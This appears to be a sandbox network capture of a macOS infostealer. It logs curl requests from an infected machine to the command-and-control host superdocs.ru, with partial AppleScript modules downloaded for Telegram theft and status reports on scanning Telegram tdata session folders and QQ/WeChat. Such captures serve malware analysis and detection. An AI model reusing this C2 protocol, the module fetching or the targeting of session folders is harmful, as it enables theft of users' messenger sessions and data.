                                      2022-08-24 09:19:37 UTC268OUTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 36 63 64 30 32 37 32 33 34 34 30 64 62 63 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 66 69 6c 65 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 51 51 20 69 6e 73 74 61 6c 6c 65 64 3a 20 66 61 6c 73 65 0a 51 51 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 57 65 43 68 61 74 20 69 6e 73 74 61 6c 6c 65 64 3a 20 66 61 6c 73 65 0a 57 65 43 68 61 74 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d
                                      Data Ascii: --------------------------66cd02723440dbceContent-Disposition: form-data; name="file"; filename="file.txt"Content-Type: text/plainQQ installed: falseQQ not found.-------------------------WeChat installed: falseWeChat not found.---------------
                                      2022-08-24 09:19:37 UTC269INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:37 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:37 UTC269INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      41192.168.0.534934245.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:38 UTC269OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: contacts
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:38 UTC269OUTData Raw: 6d 6f 64 75 6c 65 20 66 69 6e 69 73 68 65 64
                                      Data Ascii: module finished
                                      2022-08-24 09:19:38 UTC269INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:38 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:38 UTC269INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      42192.168.0.534934345.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:40 UTC269OUTPOST /agent/scripts/telegram.applescript HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      Content-Length: 10
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:40 UTC270OUTData Raw: 75 73 65 72 3d 70 65 64 72 6f
                                      Data Ascii: user=pedro
                                      2022-08-24 09:19:40 UTC270INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:40 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:40 UTC270INData Raw: 31 33 64 36 0d 0a 0a 0a 67 6c 6f 62 61 6c 20 6d 6f 64 75 6c 65 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 75 73 65 72 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 64 46 6f 6c 64 65 72 0a 0a 73 65 74 20 6d 6f 64 75 6c 65 4e 61 6d 65 20 74 6f 20 22 74 65 6c 65 67 72 61 6d 22 0a 73 65 74 20 75 73 65 72 4e 61 6d 65 20 74 6f 20 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 77 68 6f 61 6d 69 22 0a 73 65 74 20 64 46 6f 6c 64 65 72 20 74 6f 20 50 4f 53 49 58 20 70 61 74 68 20 6f 66 20 28 28 70 61 74 68 20 74 6f 20 6d 65 20 61 73 20 74 65 78 74 29 20 26 20 22 3a 3a 22 29 0a 0a 73 65 74 20 46 4f 52 43 45 44 5f 55 50 44 41 54 45 20 74 6f 20 66 61 6c 73 65 0a 0a 0a 0a 6f 6e 20 6c 6f 67 20 28 6d 65 73 73 61 67 65 29 0a 09 73 65 74 20 6d 65 73 73 61 67 65 20 74 6f 20 71 75 6f 74
                                      Data Ascii: 13d6global moduleNameglobal userNameglobal dFolderset moduleName to "telegram"set userName to do shell script "whoami"set dFolder to POSIX path of ((path to me as text) & "::")set FORCED_UPDATE to falseon log (message)set message to quot


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      43192.168.0.534934445.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:42 UTC275OUTGET /agent/bin/icons/Empty.icns HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:42 UTC275INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:42 GMT
                                      Content-Type: application/octet-stream
                                      Content-Length: 31308
                                      Last-Modified: Thu, 18 Aug 2022 07:36:55 GMT
                                      Connection: close
                                      ETag: "62fdec17-7a4c"
                                      Accept-Ranges: bytes
                                      2022-08-24 09:19:42 UTC275INData Raw: 69 63 6e 73 00 00 7a 4c 69 63 31 32 00 00 00 ad 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 5f 49 44 41 54 78 01 ed d0 01 0d 00 00 00 c2 a0 f7 4f 6d 0e 37 88 40 61 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c bc 0f 0c 40 40 00 01 16 41 98 eb 00 00 00 00 49 45 4e 44 ae 42 60 82 69 63 30 37 00 00 01 84 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 06 00 00 00 c3 3e 61 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 36 49 44 41 54 78 01 ed d0 31 01 00 00 00 c2 a0 f5
                                      Data Ascii: icnszLic12PNGIHDR@@iqsRGB_IDATxOm7@a0`0`0`0`0`0`0`@@AIENDB`ic07PNGIHDR>asRGB6IDATx1
                                      2022-08-24 09:19:42 UTC291INData Raw: 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60
                                      Data Ascii: 0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      44192.168.0.534934645.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:45 UTC306OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:45 UTC306OUTData Raw: 6d 6f 64 75 6c 65 20 6c 61 75 6e 63 68 65 64
                                      Data Ascii: module launched
                                      2022-08-24 09:19:45 UTC306INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:45 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:45 UTC306INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      45192.168.0.534934745.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:46 UTC306OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram
                                      Content-Length: 36
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:46 UTC306OUTData Raw: 73 65 73 73 69 6f 6e 20 66 6f 6c 64 65 72 20 4e 4f 54 20 66 6f 75 6e 64 2e 20 65 78 69 74 69 6e 67 2e 2e 2e
                                      Data Ascii: session folder NOT found. exiting...
                                      2022-08-24 09:19:46 UTC306INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:46 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:46 UTC306INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      46192.168.0.534934545.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:47 UTC306OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 52
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:47 UTC307OUTData Raw: 6d 61 70 70 69 6e 67 3a 20 74 65 6c 65 67 72 61 6d 20 2d 20 63 6f 6d 2e 6d 65 74 61 6c 2e 63 6f 72 65 2e 63 6c 6f 75 64 73 65 72 76 69 63 65 73 2e 61 70 70
                                      Data Ascii: mapping: telegram - com.metal.core.cloudservices.app
                                      2022-08-24 09:19:47 UTC307INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:47 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:47 UTC307INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      47192.168.0.534934845.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:47 UTC307OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:47 UTC307OUTData Raw: 6d 6f 64 75 6c 65 20 66 69 6e 69 73 68 65 64
                                      Data Ascii: module finished
                                      2022-08-24 09:19:47 UTC307INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:47 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:47 UTC307INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      48192.168.0.534934945.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:51 UTC307OUTPOST /agent/scripts/telegram_lite.applescript HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      Content-Length: 10
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:51 UTC307OUTData Raw: 75 73 65 72 3d 70 65 64 72 6f
                                      Data Ascii: user=pedro
                                      2022-08-24 09:19:51 UTC307INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:51 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:51 UTC308INData Raw: 31 33 38 64 0d 0a 0a 67 6c 6f 62 61 6c 20 6d 6f 64 75 6c 65 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 75 73 65 72 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 64 46 6f 6c 64 65 72 0a 0a 73 65 74 20 6d 6f 64 75 6c 65 4e 61 6d 65 20 74 6f 20 22 74 65 6c 65 67 72 61 6d 5f 6c 69 74 65 22 0a 73 65 74 20 75 73 65 72 4e 61 6d 65 20 74 6f 20 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 77 68 6f 61 6d 69 22 0a 73 65 74 20 64 46 6f 6c 64 65 72 20 74 6f 20 50 4f 53 49 58 20 70 61 74 68 20 6f 66 20 28 28 70 61 74 68 20 74 6f 20 6d 65 20 61 73 20 74 65 78 74 29 20 26 20 22 3a 3a 22 29 0a 0a 0a 0a 0a 6f 6e 20 6c 6f 67 20 28 6d 65 73 73 61 67 65 29 0a 09 73 65 74 20 6d 65 73 73 61 67 65 20 74 6f 20 71 75 6f 74 65 64 20 66 6f 72 6d 20 6f 66 20 6d 65 73 73 61 67 65 0a 09 73 65 74
                                      Data Ascii: 138dglobal moduleNameglobal userNameglobal dFolderset moduleName to "telegram_lite"set userName to do shell script "whoami"set dFolder to POSIX path of ((path to me as text) & "::")on log (message)set message to quoted form of messageset


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      49192.168.0.534935045.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:53 UTC312OUTGET /agent/bin/icons/Empty.icns HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:53 UTC313INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:53 GMT
                                      Content-Type: application/octet-stream
                                      Content-Length: 31308
                                      Last-Modified: Thu, 18 Aug 2022 07:36:55 GMT
                                      Connection: close
                                      ETag: "62fdec17-7a4c"
                                      Accept-Ranges: bytes
                                      2022-08-24 09:19:53 UTC313INData Raw: 69 63 6e 73 00 00 7a 4c 69 63 31 32 00 00 00 ad 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 5f 49 44 41 54 78 01 ed d0 01 0d 00 00 00 c2 a0 f7 4f 6d 0e 37 88 40 61 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c bc 0f 0c 40 40 00 01 16 41 98 eb 00 00 00 00 49 45 4e 44 ae 42 60 82 69 63 30 37 00 00 01 84 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 06 00 00 00 c3 3e 61 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 36 49 44 41 54 78 01 ed d0 31 01 00 00 00 c2 a0 f5
                                      Data Ascii: icnszLic12PNGIHDR@@iqsRGB_IDATxOm7@a0`0`0`0`0`0`0`@@AIENDB`ic07PNGIHDR>asRGB6IDATx1
                                      2022-08-24 09:19:53 UTC329INData Raw: 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60
                                      Data Ascii: 0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      5192.168.0.534930645.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:18:59 UTC16OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 33
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:18:59 UTC16OUTData Raw: 75 70 64 61 74 65 64 20 2e 64 6f 6d 61 69 6e 20 77 69 74 68 20 73 75 70 65 72 64 6f 63 73 2e 72 75
                                      Data Ascii: updated .domain with superdocs.ru
                                      2022-08-24 09:19:00 UTC16INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:00 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:00 UTC16INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      50192.168.0.534935245.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:56 UTC343OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram_lite
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:56 UTC344OUTData Raw: 6d 6f 64 75 6c 65 20 6c 61 75 6e 63 68 65 64
                                      Data Ascii: module launched
                                      2022-08-24 09:19:56 UTC344INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:56 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:56 UTC344INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      51192.168.0.534935345.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:57 UTC344OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram_lite
                                      Content-Length: 128
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:57 UTC344OUTData Raw: 70 72 6f 63 65 73 73 69 6e 67 20 66 6f 6c 64 65 72 20 27 2f 55 73 65 72 73 2f 70 65 64 72 6f 2f 4c 69 62 72 61 72 79 2f 43 6f 6e 74 61 69 6e 65 72 73 2f 6f 72 67 2e 74 65 6c 65 67 72 61 6d 2e 64 65 73 6b 74 6f 70 2f 44 61 74 61 2f 4c 69 62 72 61 72 79 2f 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 54 65 6c 65 67 72 61 6d 20 44 65 73 6b 74 6f 70 2f 74 64 61 74 61 27
                                      Data Ascii: processing folder '/Users/pedro/Library/Containers/org.telegram.desktop/Data/Library/Application Support/Telegram Desktop/tdata'
                                      2022-08-24 09:19:57 UTC344INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:57 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:57 UTC344INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      52192.168.0.534935445.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:58 UTC344OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram_lite
                                      Content-Length: 37
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:58 UTC344OUTData Raw: 73 65 73 73 69 6f 6e 20 66 6f 6c 64 65 72 20 4e 4f 54 20 66 6f 75 6e 64 2e 20 73 6b 69 70 70 69 6e 67 2e 2e 2e
                                      Data Ascii: session folder NOT found. skipping...
                                      2022-08-24 09:19:58 UTC345INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:58 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:58 UTC345INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      53192.168.0.534935145.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:58 UTC344OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 58
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:58 UTC345OUTData Raw: 6d 61 70 70 69 6e 67 3a 20 74 65 6c 65 67 72 61 6d 5f 6c 69 74 65 20 2d 20 63 6f 6d 2e 75 74 69 6c 73 2e 63 6f 72 65 2e 6c 61 75 6e 63 68 73 65 72 76 69 63 65 73 2e 61 70 70
                                      Data Ascii: mapping: telegram_lite - com.utils.core.launchservices.app
                                      2022-08-24 09:19:58 UTC345INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:58 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:58 UTC345INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      54192.168.0.534935545.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:59 UTC345OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram_lite
                                      Content-Length: 83
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:59 UTC345OUTData Raw: 70 72 6f 63 65 73 73 69 6e 67 20 66 6f 6c 64 65 72 20 27 2f 55 73 65 72 73 2f 70 65 64 72 6f 2f 4c 69 62 72 61 72 79 2f 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 54 65 6c 65 67 72 61 6d 20 44 65 73 6b 74 6f 70 2f 74 64 61 74 61 27
                                      Data Ascii: processing folder '/Users/pedro/Library/Application Support/Telegram Desktop/tdata'
                                      2022-08-24 09:19:59 UTC345INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:59 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:59 UTC345INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      55192.168.0.534935645.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:20:00 UTC345OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram_lite
                                      Content-Length: 37
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:20:00 UTC346OUTData Raw: 73 65 73 73 69 6f 6e 20 66 6f 6c 64 65 72 20 4e 4f 54 20 66 6f 75 6e 64 2e 20 73 6b 69 70 70 69 6e 67 2e 2e 2e
                                      Data Ascii: session folder NOT found. skipping...
                                      2022-08-24 09:20:00 UTC346INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:20:00 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:20:00 UTC346INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      56192.168.0.534935745.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:20:01 UTC346OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: telegram_lite
                                      Content-Length: 15
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:20:01 UTC346OUTData Raw: 6d 6f 64 75 6c 65 20 66 69 6e 69 73 68 65 64
                                      Data Ascii: module finished
                                      2022-08-24 09:20:01 UTC346INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:20:01 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:20:01 UTC346INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      57192.168.0.534935845.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:20:02 UTC346OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 26
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:20:02 UTC346OUTData Raw: 64 65 6c 61 79 20 33 30 30 73 20 62 65 66 6f 72 65 20 62 72 6f 77 73 65 72 73
                                      Data Ascii: delay 300s before browsers
                                      2022-08-24 09:20:02 UTC346INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:20:02 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:20:02 UTC347INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      6192.168.0.534930745.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:00 UTC16OUTPOST /agent/scripts/remove_old.applescript HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      Content-Length: 10
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:00 UTC16OUTData Raw: 75 73 65 72 3d 70 65 64 72 6f
                                      Data Ascii: user=pedro
                                      2022-08-24 09:19:00 UTC16INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:00 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
